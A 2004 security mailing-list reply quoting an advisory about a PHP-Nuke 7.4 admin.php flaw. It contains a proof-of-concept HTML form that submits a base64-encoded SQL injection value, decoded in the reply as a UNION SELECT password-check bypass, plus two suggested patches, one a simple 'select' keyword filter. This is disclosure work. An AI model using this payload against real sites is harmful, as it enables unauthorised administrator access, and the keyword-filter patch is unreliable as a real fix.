Re: [XSS] PHP-Nuke 7.4 Bugs

["Blaine Elzey" <lz@xxxxxxxxxxxx>]

This seems like more of a SQL injection bug.

$admin value "eCcgVU5JT04gU0VMRUNUIDEvKjox" decodes to "x' UNION SELECT 1/*:1"
which will cause the pwd check to be manipulated into union selecting the
valid password.

7.4 Patch can be in auth.php, replace line (about) 61
  if ($aid=="" || $pwd=="") {
with
  if ($aid=="" || $pwd=="" || stristr($aid,'select')) {

I don't know if 7.5 is also vulnerable.

Blaine Elzey 
-- 
Powered by: Open WebMail Project (http://openwebmail.org) 


---------- Original Message -----------
From: Pierquinto Manco <mantra@xxxxxx>
To: bugtraq@xxxxxxxxxxxxxxxxx
Sent: 4 Sep 2004 08:19:26 -0000
Subject: [XSS] PHP-Nuke 7.4 ViewAdmin Bug

> **************************************************************
> *                     CODEBUG Labs
> * Advisory #3
> * Title: ViewAdmin Bug
> * Author: Pierquinto 'Mantra' Manco
> * Product: PHP-Nuke 7.4
> * Type: XSS
> * Web: http://www.mantralab.org
> *
> **************************************************************
> 
>                     View Admin Bug
> 
> - ) Description
> PHP-Nuke is a very bugged web CMS, version 7.4 has critical
> XSS bug that permit to an attacker to view Admin account aid 
> and to use this information to delete account using Delete Admin Bug 
> (CODEBUG #2).
> This bug is very old too but we can bypass the patch sending data 
> by POST instead of GET.
> 
> - ) Proof-of-Concept
> Create a HTML file with this lines:
> 
> <form name="form1" method="POST"
action="http://www.sitewithphpnuke.com/admin.php";>
>     <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
>     <br>
>     <input type="hidden" name="add_radminsuper" value="1">
>     <br>
>     <input type="hidden" name="op" value="mod_authors">
>       <input type="submit" name="Submit" value="Display">
>     <br>
>   </p>
> </form>
> 
> - ) Patch
> 
> Apply this code to your admin.php file:
> 
> if ( !empty($HTTP_GET_VARS['op']) ) {
>       $op = $HTTP_GET_VARS['op'];
> }
> 
> if ( !empty($HTTP_POST_VARS['op']) ) {
>       $op = $HTTP_POST_VARS['op'];
> }
> 
> -) Note
> 
> There are a lot of this problem in PHP-Nuke 7.4, my patch will check
> the content of $_POST[op] and $_GET[op].
> I'm going to post all this vulnerabilities on my site...
> http://www.mantralab.org
> 
> **************************************************************
>               http://www.mantralab.org
> **************************************************************
------- End of Original Message -------